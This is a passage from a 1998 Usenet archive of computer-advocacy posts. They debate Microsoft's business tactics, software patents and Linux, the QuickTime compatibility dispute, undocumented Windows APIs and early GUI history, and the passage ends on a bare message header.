> so it could save a bit of memory by not saving the occluded
> portions of windows.
That's one reason for the lack of overlapping windows, I guess.
I've also heard (dodgy memory reference here :) that overlapping windows
were viewed as being 'hard.' Supposedly the early Xerox systems would
overlap windows, but cheated by freezing the state of background ones;
only the front window was 'active,' all others were just graphic boxes.
In their demos to the Apple team in [whenever it was], the Xerox people
went to great lengths to hide this, and make it appear that they'd
implemented fully overlapping windows, and could draw into background
windows.
Back at Apple, the Macintosh team (Jef Raskin? Bill Atkinson?)
reverse-engineered something which didn't exist in the first place, and
thus the Mac ended up with overlapping windows.
I've no idea if it's true, but it's a cute story.
Incidentally, I used to play with Windows 2.0 in school, mid-1988. We
had no apps for it, so it was pretty pointless, but I remember
preferring GEM at the time. When I met my first Mac 12 months later it
was running multiple apps and - it was a II - doing 8-bit colour at
640x480, which I thought was pretty neat until I saw the SG Personal
Iris in the next room. ;-)
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter' (Pascal)
Message-ID: <3645BA37.A33329E@ieee.org>
Date: Sun, 08 Nov 1998 08:35:19 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: misc.int-property,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <FIiROLCWddLd-pn2-br4O7mfXwBFR@localhost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
taiQ wrote:
> Scary thought... couldn't they just hire a pack of microshills to work
> on different Linux (core) projects intentionally planting MS-owned
> code snippets...?
One problem here is implied license, another possibly latches and
estoppel. This sort of activity is just as likely to result in
essentially dedicating the involved IP to the public domain.
More likely from a company like IBM that has IP to burn, than
from a company like MS with what I consider a somewhat weak patent
portfolio.
> Perhaps what we need is an official and "compulsory" statement from
> every (core or major project) contributor that the work they're
> submitting doesn't _intentionally_ infringe any existing intellectual
> property rights or patents. With such clause in place the courts would
> likely take a lenient attitude towards any potential MS infringement
> claims; e.g. in form of a grace period during which the disputed code
> can be circumvented without further disruptions to distribution of
> Linux.
Not a bad idea. Many standard bodies require just such a statement.
The thing that should be added is that if anyone does turn out to
infringe their IP rights, then that use is licensed. IN any case,
this sort of thing is common with standards bodies, for just this
reason.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: simonc@jumper.org.uk (Simon Cooke)
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
Followup-To: comp.sys.next.advocacy,comp.lang.java.advocacy
Date: 11 Nov 1998 06:40:57 GMT
Organization: Sirius Cybernetics Corporation
Message-ID: <72bbhp$9cm$1@yama.mcc.ac.uk>
References: <yl3vhkop9bc.fsf@shell8.ba.best.com> <donarb-1011981003130001@192.168.0.2>
Don Arbow (donarb@nwlink.com) wrote:
: In article <yl3vhkop9bc.fsf@shell8.ba.best.com>, Robert Nicholson
: <steffi@shell8.ba.best.com> wrote:
: : The author of that url seems to take pleasure in pointing at that Apple
: : and Real Networks made a mistake and Microsoft has written this in such
: : a tone whereby they are seeking vinidication.
: :
: : Q. Why didn't Microsoft offer their expertise in this matter when Apple
: : was initially having these problems?
: Check out this article:
: http://www.macintouch.com/qtsabotage.html
: Microsoft and their "consultants" made an error in their assumptions about
: the QT plugin not registering the ".qt" extension to represent a QuickTime
: movie, among others. What QuickTime movie uses the ".qt" extension?
: Apple's own guidelines recommend ".mov".
I've seen lots of QT movies with .qt extensions on the Internet.
Besides "assumptions" aren't part of it. They made the changes specified.
Quicktime magically started working. Oh my. Maybe, just maybe they're
right.
And guess what? They've documented it, so you can reproduce it yourself
and prove they're not cheatingt.
Simon
Message-ID: <3645B8DF.28311B49@ieee.org>
Date: Sun, 08 Nov 1998 08:29:35 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71uag8$f1c$1@52-a-usw.rb1.blv.nwnexus.net> <71vp57$oge$1@nnrp1.dejanews.com>
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allahsiz@home.com wrote:
>
> One important point to consider is that, the contributors to Linux
> and BSD have the prior art and patents on their side. These are the people
> that invented almost everything MS OSs contain. If Microsoft sues, and
> loses, then all they will do is advertise Linux. If they win, then they lose
> since that makes them using copyrighted/patented tchnology from others.
I am not sure if winning against Linux would make MS any more vulnerable
than it already is. Personally, I think that it is probably one of the
biggest targets out there already, and given their less than secure
patent position, am surprised that they haven't been sued more often
already.
> I do not think MS lawyers are that dumb, but watching them in last 12 months,
> I am beginning to wonder. Actually, I have a theory there. I think MS lawyers
> know that they are losing, however, they want to bilk every dollar they can
> out of Bill G. It is only a theory, but that is what my observations tell me.
There may be a little panic going on right now. However, I more likely
attribute this to the differences between two different models. In the
MS world, you can say one thing one day, then change your mind the next,
pretending that you didn't really say it. That doesn't work in the real
world. Changing your story midstream, as MS has apparently been doing
routinely in its DOJ antitrust hearing, only cuts against you, since
attorneys have this bad habit of referring back to your previous
statements.
Partly this is a function of how the law works. In particular, there is a
great reliance upon recorded facts, because only those things that are
"of record" can be reviewed by the appelate courts. If you didn't preserve
an objection, or make a record, at the trial level, then you are out of
luck years later at the appeals court. Likewise, if you did make a mistake
at the trial court in admitting something that you shouldn't have, or
the like, you are likely to get hammered years later when it is brought up
and used against you in an appeal.
Contrast this with the world that MS usually inhabits, where it can change
its story on a fairly routine basis. When are we now getting NT 5.0 (whoops,
now it is Windows 2000)?
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
Date: Sun, 08 Nov 1998 10:29:57 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <tbrown-0811981030000001@mv174.axom.com>
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net> <yl3u30ch3rl.fsf@shell8.ba.best.com> <19981106200355201439@pm2-2-04.aug.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <19981106200355201439@pm2-2-04.aug.com>, nojunkhattonr@aug.com
(Rick) wrote:
>Robert Nicholson <steffi@shell8.ba.best.com> wrote:
>
>> True but what's going to cause MS's market share erode even if they lose
>> this case? The standard still exists their influence still remains.
>
>There is the possibility that MS can be broken up into distinct
>companies, complete with different boards. That might dent their
>dominance.
It could make them worse. After all Standard Oil and AT&T have done quite
well for themselves after the breakup. We do have a bit more competition
though.
I'm for strict 'play fair rules' where MS has to fully document things like:
- Internet transfer protocols
- file formats
- APIs (no MS product can use an non-documented API to talk to another
MS product, and since the Office Apps are sold solo as well as in Office,
that includes them as well.)
- any other misc. messaging information (ActiveX stuff, descriptions of
all the Registry Entries and their settings)
- And, in specific, the complete interaction of IE and Windows must be
described, so others could drop in a replacement for IE. If needed, MS
should be required to make code changes to insure that this is possible.
And, MS has to demonstrate a _working_ demo of any product they announce,
including feature sets. If they can't show it working, they can't talk
about it.
All specifications must be released at least 3-6 months before the MS
product that includes them (specs should be released when the product goes
beta). This shouldn't be that much of a burden, as MS had to document
them fully for internal use and such specification must be done well
before testing. (I'm in favor of the same being applied to hw
manufacturers, including Apple. The API's to HW should be open -- after
all I have to buy the hw to use them.)
The problem would be the penalty when MS doesn't follow their own specs
(much as they forget to follow other specs, looked at what IIS does
lately?) Or when MS casually mentions that they're coming out with
competition for some hot new product.
Not really a problem, but the other 'downside' (for those wishing MS dead)
would be the increase in code quality as different MS departments get
better information as well as other companies adding value to the MS line
since they'd have better information. Yes I do think it'd _help_ MS, but
it'd help the competition, and more important, the customers. The longer
term would show real competition for various MS products. Maybe it'd rub
some of the shine of the MS illusion when people see high-quality drop in
replacements for MS products, some of them free.
Other than the severe restriction on what MS can talk about, this is
fairly benign. After all, MS products sell because of their great
quality (at least that's what I'm hearing). Others would have to write
their own implementations to read and use the MS formats -- and have only
have the beta cycle to do so.
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Eek, a mouse! was Re: "Knife the baby" finally appears
Date: 8 Nov 1998 15:54:56 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0811980801110001@149.san-francisco-04.ca.dial-access.att.net>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <7233s6$1v0$1@pascal.a2000.nl> <3645281B.941A8746@yahoo.com>
In article <3645281B.941A8746@yahoo.com>, rfovell@yahoo.com wrote:
> Pascal Haakmat wrote:
>
> > A friend of mine used to brag how his Windows 2.0 (on a 286) was superior to
> > my Atari's GEM (on the 8Mhz venerable 68k)...
>
> <remainder of amusing story clipped for bandwidth's sake>.
>
> Your post brought to mind this story, which I've told on CSMA before (tho not
> in this detail, I don't think), so apologies if you've seen it. I call this
> story "Eek, a mouse!"
>
[schnip]
Most of the CLI-only folk have either departed CSMA (ah yes, I remember
them well...) or have converted to the other worn-out tactics. As a
long-time user of both, I consider the fact that the Macintosh delivered
these features - rather this whole bloody philosophy - to consumers first
to be a major argument for my loyalty.
Look, take a giant leap forward and ask yourself not where computers are,
but where they are going. What steps and devices do we currently use that
will eventually be eliminated? How will we one day be dealing with a
computer much more like that on the bridge of the Enterprise than the box
that sits before us?
I think the companies that will take us in that direction will either be
Apple, or a small Mac or PC-based company that Microsoft will try to
swallow up, or put out of business, or keep from getting into business
altogether. MS is a protectionist entity, pure and simple, taking up where
IBM left off. And I choose to sanction the Apples and Netscapes and
RealMedia's wherever I can.
And in some areas, MS simply remains unchallenged because it's believed
there's no way to compete. That's why Linux is so promising. Unlike
Netscape, there's little way that MS can cut it off at the knees (although
Bill's certainly trying to figure out a way).
So, yes a mouse was a cool thing, as was the first typewriter keyboard,
but eventually it too will go away and the GUI will give way to the HUI,
and no doubt some will cling to the old way, or the most popular way, or
the "Bill" way.
Time will judge the best way, and I believe time has judged the Mac UI to
be 98% dead-on right. MS has both enhanced this and muddled it. They know
how to copy the Mac but they still don't "get it." And it shows.
It also shows that most Mac bashers don't "get it" either. Otherwise,
they'd be offering constructive criticism for a viable Apple (an Apple
that has *greatly* enhanced their own computing experience), rather than
exposing their ravenous desire that it go away and not remind them that
the Windows emblem on their metaphoric "chests" is simply a copy of the
original from a company that's made its fortune taking other people's
work, while destroying any others that might offer a viable alternative.
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 11 Nov 1998 06:37:36 +0000
Organization: Self Analysis
Message-ID: <364930B0.5A8059C5@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
>
> In article <3647E15E.7A2232BA@ix.netcom.com>,
> kmself@ix.netcom.com wrote:
> > With the cost of patent litigation -- $100k (US) average for pre-trial
> > costs, $1m (US) to go to trial, threat of suit could be sufficient to
> > sway decisions to use OSS (deemed risky) or "patent-safe" proprietary
> > code.
>
> Don't say that without explicitly stating that proprietary code has the same
> potential vulnerability as OSS code. Any code can become a victim of that
> abomination called "software patents".
Wrong on three counts.
I'm not anti-patent, I don't believe software patents are bad, and I
don't believe that software can be effectively seperated from all other
inventions, particularly HW implementations of logic -- either in the
granting or the enforcement of patents. I feel however, that the status
quo puts OSS in a dangerous position. I believe the situation may be
remedied, and that patents might even be an OSS developer's best
friend. I had coffee today with someone whose name would be recognized
by some here, who had his first patent at age ten and now supports much
of his OSS work on patent-derived income.
Proprietary software tends not to put the user of software at risk in
the event of infringement. Whether this is because of tradition or
ready (and generally effective) access to the developer/vendor, I'm not
sure.
Proprietary software vendors tend to have a more substantial financial
footing, and access to legal resources, than many OSS developers. While
a patent suit could destroy an ISV, there is at least a fighting chance
at persevering.
The patent field needs to be leveled to provide a fairer position for
OSS. I feel this is an inevitable occurance.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
10:21pm up 3 days, 14:35, 3 users, load average: 0.14, 0.07, 0.06
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: "Knife the baby" finally appears
Message-ID: <petrichF24vuG.JM9@netcom.com>
Organization: Netcom
References: <364295A3.ABE8C927@earthlink.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <ckoller-0711980741360001@95.san-francisco-04.ca.dial-access.att.net> <atticus-0811980007030001@user-38lcldf.dialup.mindspring.com>
Date: Mon, 9 Nov 1998 02:49:28 GMT
Sender: petrich@netcom18.netcom.com
In article <atticus-0811980007030001@user-38lcldf.dialup.mindspring.com>,
Andy Walton <atticus@mindspring.com> wrote:
>Had Microsoft and Intel never existed, Commodore's Amiga would still have
>provided a competitor to Apple. As would CP/M (primitive by today's
>standards, but not too far behind DOS -- and without DOS, it's reasonable
>to believe that it would have evolved as DOS did).
Certainly -- there would have been an interesting world of CP/M
GUI's, for example.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 07:21:27 +0000
Organization: Self Analysis
Message-ID: <36493AF7.BDFE3CAA@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
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Ryurick M. Hristev wrote:
>
> "Karsten M. Self" <kmself@ix.netcom.com> writes:
>
> > Ryurick M. Hristev wrote:
> > >
> > > "Karsten M. Self" <kmself@ix.netcom.com> writes:
> >
> > > > There's even the possibility that Microsoft could encourage others to do
> > > > its dirty work for it. The Wang v. Netscape "save as" suit this spring
> > > > (dismissed by the court) certainly has a funny smell to it. Microsoft
> > > > acquired a 10% stake in Wang following the companies' own patent
> > > > skirmish.
>
> [...]
>
> > > This is just FUD.
>
> [...]
>
> > Further, patent infringement applies equally to manufacture, sale, or
> > use. Your example of moving devlopment offshore would help software
> > developers, but would do nothing to protect the interests of US-based
> ^^^^^^^^
> And who's fault is if US have (IMHO) moronic laws with respect to
> so called "software" patents and cryptography ? So, these
> "US-based vendors or users" have nothing to say about the abuse of
> patent law ?
Ryurick, I'm afraid we're going to have to agree to disagree here.
My position is this:
- For better or worse, SW patents exist, in the US, Japan, and a number
of European nations. I don't know specifics, IANAL.
- The status quo appears to put OSS at a disadvantage in the patent
field.
- Patents in and of themselves are neither good nor bad.
- Patents can be the independent developer's best friend. They need to
be used, and used well. Several folks in the OSS community have done
quite well by IP.
Your position appears to be "SW patents are bad and I'm going to pretend
they don't exist". You're also welcome to turn off compiler warnings on
your next build. It'll do you about as much good. My approach is that
some things exist, and might be put to creative good use. If you'll
take off your blinders here, you might find a rather interesting world
with some tantalizing possibilities.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:11pm up 3 days, 15:25, 5 users, load average: 0.36, 0.40, 0.28
Message-ID: <364821FA.FB12A1D2@sono.net>
From: Gary <gsonline@sono.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu>
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Date: Tue, 10 Nov 1998 16:25:08 GMT
NNTP-Posting-Date: Tue, 10 Nov 1998 08:25:08 PDT
Organization: @Home Network
Steve wrote:
>
> There are good reasons to purchase such a system.
>
<mindless babble about Win2000 snipped>
I can't believe this Win2000 bullshit has actually become a thread!!
STOP THIS NOW!!!
:o)
love, G9
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sun, 8 Nov 1998 16:04:55 +0000
Message-ID: <1di6mlp.4rdsun1u94pzyN@quern.demon.co.uk>
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net> <yl3u30ch3rl.fsf@shell8.ba.best.com> <19981106200355201439@pm2-2-04.aug.com> <722rgo$qa2$1@oak.prod.itd.earthlink.net> <19981107211215885344@pm2-2-23.aug.com>
User-Agent: MacSOUP/2.4b3
Rick <nojunkhattonr@aug.com> wrote:
> IfMicro$osft was properly broken up, and the differnet compaaines could
> share information, like the departments do now, they would have to
> compete on the merits of their products... somethng M$ doesnt do now.
For example:
It's possible the OS company would have to publish the complete API set
for future versions of Windows. It's been rumoured (though I'm not sure
if it's been demonstrated) that they reserve some APIs for internal
application use only.
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter' (Pascal)
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sun, 08 Nov 1998 16:13:35 GMT
Organization: Monmouth Internet
Message-ID: <3645c232.311367632@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
Bruce Hayden <bhayden@ieee.org> wrote:
<snip>
>In any case, if you will remember, IBM went to Gates because it was
>in a hurry. It dropped negotiations with DR (through Gates) because
>they were taking so long. The reason (IMHO) that IBM went outside
>for that stuff was that it knew that it couldn't do it inside
>as quickly as it needed it done. Indeed, just look at how long
>it took to get a useful OS/2 out the door. At least then, the
>company just couldn't move quickly, even if it had to, and someone
>there knew that they had to in this case.
No, IBM went to Gates because he had development tools for CPM-86 and they
wanted to insure that there would be development tools for their platform.
The idea for MS-DOS was Gates, and he acquired the CPM clone from Seattle
Computer after he already had the deal with IBM. He initialized purchased
a $10,000 license for the operating system, which was written by a single
guy. (I don't remember his name right now, but eventually that guy won a
$1 Million and went on to create FidoNet..)
>It is also not clear that MS would have been willing to sell out
>to IBM in the first place. Despite some of its less than competitive
>tactics, I submit that one of the big reasons that MS is as
>sucessful as it is, and has so many of the wealthiest people in
>the world working for (or having had worked for it) is that it
>(or Bill Gates or whoever) had a better vision than anyone else
>about what was going to happen. I am not sure that IBM would
>have, or even could have, offered them as much money as they
>may have believed their vision was worth (Or even to just buy
>out Bill Gates alone).
Bill wasn't the only one that knew of the monopoly possibilities. It was
discussed quite significantly in the trade journals of the time. He was
the one that played because the President of IBM had met his mother at a
Unite Way meeting and because he had tools. (Control the tools, control
the craftsman). Bill Gates was widely known for his attempts to monopolize
the market long before IBM came along.
Wilbur
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sun, 08 Nov 1998 16:17:53 GMT
Message-ID: <3647b96f.7198148@news.demon.co.uk>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <3643C311.689A8771@hex.net> <7227pg$kgh$1@news.xmission.com>
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On 7 Nov 1998 19:41:36 GMT, don@misckit.com (Don Yacktman) wrote:
>"Peter A. Koren" <pkoren@hex.net> wrote:
>> Don Yacktman wrote:
>> > Well, I still see one possible situation that could be a problem.
>> > I've seen this happen before. The gist of the argument is this:
>> >
>> > (1) You know that you'd win a suit if filed
>> > (2) But even so, the defense would be costly
>> > (3) So you don't do it, even though you'd be able to win, because
>> > the cost is too high
>>
>> Don, you forget one thing. While the Judicial system might fail to
>> yank its head out from its nether sphincter, our foreign friends are
>> unlikely to go along and support the Microsoft borg. The courts can
>> only make some Americans kiss Bill Gate's vertical smile.
I like that one..;-)
>>Linux may
>> get combat scars, but it will live and prosper.
>
>Other countries have courts, laws, and patents, too. MS is less _likely_ to
>get away with the same bull**** on foreign turf as what the US seems to
>embrace...but that doesn't mean that they won't try some hijinks overseas,
>too.
Well in the EU, software patents are unenforceable, though for how
much longer remains to be seen. The US government was banging at the
door to get the EU to change its mind. Also reverse-engineering "to
ensure interoperability of established systems" (or some legal rubbish
like that) is also legal.
>But keep in mind that I also said that a move like this by MS would at worst
>only *slow* Linux's momentum--not kill Linux all together. Eradicating Linux
>would be like trying to remove a particularly widespread cancer--it is just
>too spread through the nooks and crannies to root it all out. For reasons I
>already mentioned, plus the overseas factor you suggest, I don't think MS is
>big enough to utterly smash Linux. That doesn't mean Linux supporters should
>get smug about themselves and what they have though--complacency right now
>would be more damaging than anything MS could do of its own accord!
They could do it in the US. They are big enough. They could try suing
individuals, who for the most part would not have the financial
resources to defend themselves from even a frivolous lawsuit. Even a
"campaign fund" could be easily overwhelmed if the number of sued
individuals was sufficiently high.
Many of the important subsystems of Linux are written by individuals.
In other countries where the price of the legal system is lower, it
would be less likely to succeed. If they tried it with me (for
example) then I would get Legal Aid and it would be the resources of
M$ against that of the UK government. Do you have a similar system in
the US?
>> I urge our allies outside of the influence of our American legal
>> circus to organize and to to oppose M$ thuggery in their own
>> countries. Fight to get Linux recognized and used by all public
>> organizations which use computers. I hear that France and Mexico are
>> moving in that direction.
>>
>> We are winning. Just keep fighting.
> ^^^^^^^^^^^^^^^^^^^
>Absolutely!
The real danger is political campaign funds. What your politicians
will do to get the money to get re-elected. Would be cheaper than a
lot of individual law suits.
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
References: <yl3vhkop9bc.fsf@shell8.ba.best.com> <3648ac3a.554528@news3.newscene.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <36482f96.0@nnrp1.news.uk.psi.net>
Date: 10 Nov 98 12:20:38 GMT
me@home.now (Just'Me) wrote:
>>Q. Why didn't Microsoft offer their expertise in this matter when Apple
>>was initially having these problems?
>
>Q: Why didn't Apple ask?
You obviously didn't bother reading the testimony - Apple DID ask.
>#1: It isn't M$'s responsibility to help Apple with everything they do.
The point was that M$ broke things in the first place - and Avies testemony is that in
his opinion, the changes that broke things were intended to break them rather than an
accidental byproduct of technical improvements.
>
>#2: M$ created a patch that fixed Quicktime.
^^^^^
Ie made it work with hidden changes in the way the M$ software worked.
>If you or anyone else has any solid proof (like code) that Windows intentionally makes
>Quicktime screw up, I'd certainly be interested in seeing it.
Oh - you mean like M$ object code with embedded comments left in it like "chuckle - this
will screw those apple programmers" ?
I'm sure M$ let's that sort of thing out of the door all the time...
Seriously, 'proof' in this sort of thing is practically impossible - the closest you can
get is people looking at the M$ code and saying something on the lines of -
'they changed this so it doesn't work with the industry standards and the changes don't
introduce any significant technical improvment'
The first part of the statement is not in dispute - the only thing to argue about is
whether M$ improved movie handling over the existing standards, and if they did, whether
any such improvements actually required that quicktime compatibility be broken.
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
References: <yl3vhkop9bc.fsf@shell8.ba.best.com> <3648ac3a.554528@news3.newscene.com> <36482f96.0@nnrp1.news.uk.psi.net>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 10 Nov 1998 13:39:04 -0800
Message-ID: <yl3vhknmdmu.fsf@shell8.ba.best.com>
When was this registry key turns off precedence to ActiveX controls
documented publically?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 8 Nov 1998 17:36:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <724krh$m2l@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <722lc8$bin@newsb.netnews.att.com> <3644E8C1.25979A2B@yahoo.com>
On Sat, 07 Nov 1998 16:41:50 -0800, Robert Fovell <rfovell@yahoo.com> wrote:
>gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>> I found in my office at the phone company a copy of Windows 3.0,
>> still in its original shrinkwrap. I suppose if the distribution
>> is on 3.5" disks, and if my Mac can still read them, then since
>> I have Virtual PC, I could try booting up on it. Or might the
>> original shrinkwrap box be more interesting as a historical curiousity ?
>
>Arun, by all means don't break the shrinkwrapped seal! Two reasons:
>
>(1) It is a collector's item. My gosh, someone out there will pay big money
>for that thing;
>(2) It's been festering in that hermetically sealed box for years. Do you
>have any idea what it could have morphed into? Opening it could unleash a
>plague that might wipe out mankind ;-)
I think it's a little too late to stop the Windows plague...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 8 Nov 1998 17:36:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <724kri$m2l@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net> <yl3u30ch3rl.fsf@shell8.ba.best.com> <19981106200355201439@pm2-2-04.aug.com> <722rgo$qa2$1@oak.prod.itd.earthlink.net> <19981107211215885344@pm2-2-23.aug.com> <1di6mlp.4rdsun1u94pzyN@quern.demon.co.uk>
On Sun, 8 Nov 1998 16:04:55 +0000, Jonathan Sanderson
<jonathan@quern.demon.co.uk> wrote:
>Rick <nojunkhattonr@aug.com> wrote:
>
>> IfMicro$osft was properly broken up, and the differnet compaaines could
>> share information, like the departments do now, they would have to
>> compete on the merits of their products... somethng M$ doesnt do now.
>
>For example:
>It's possible the OS company would have to publish the complete API set
>for future versions of Windows. It's been rumoured (though I'm not sure
>if it's been demonstrated) that they reserve some APIs for internal
>application use only.
Andrew Schulman does a very good job of demonstrating ways where MS used
undocumented APIs in "Unauthorized Windows 95"
It is out of print, but you might be able to find a copy via Amazon.com
I think there is plenty of credible, well documented evidence that MS has
both left critical parts of its OS undocumented, and has purposefully
wrongly-documented other parts of its OS (like some aspects of ActiveX
and VBA)
From: look@my.sig (Michael J. Stango)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
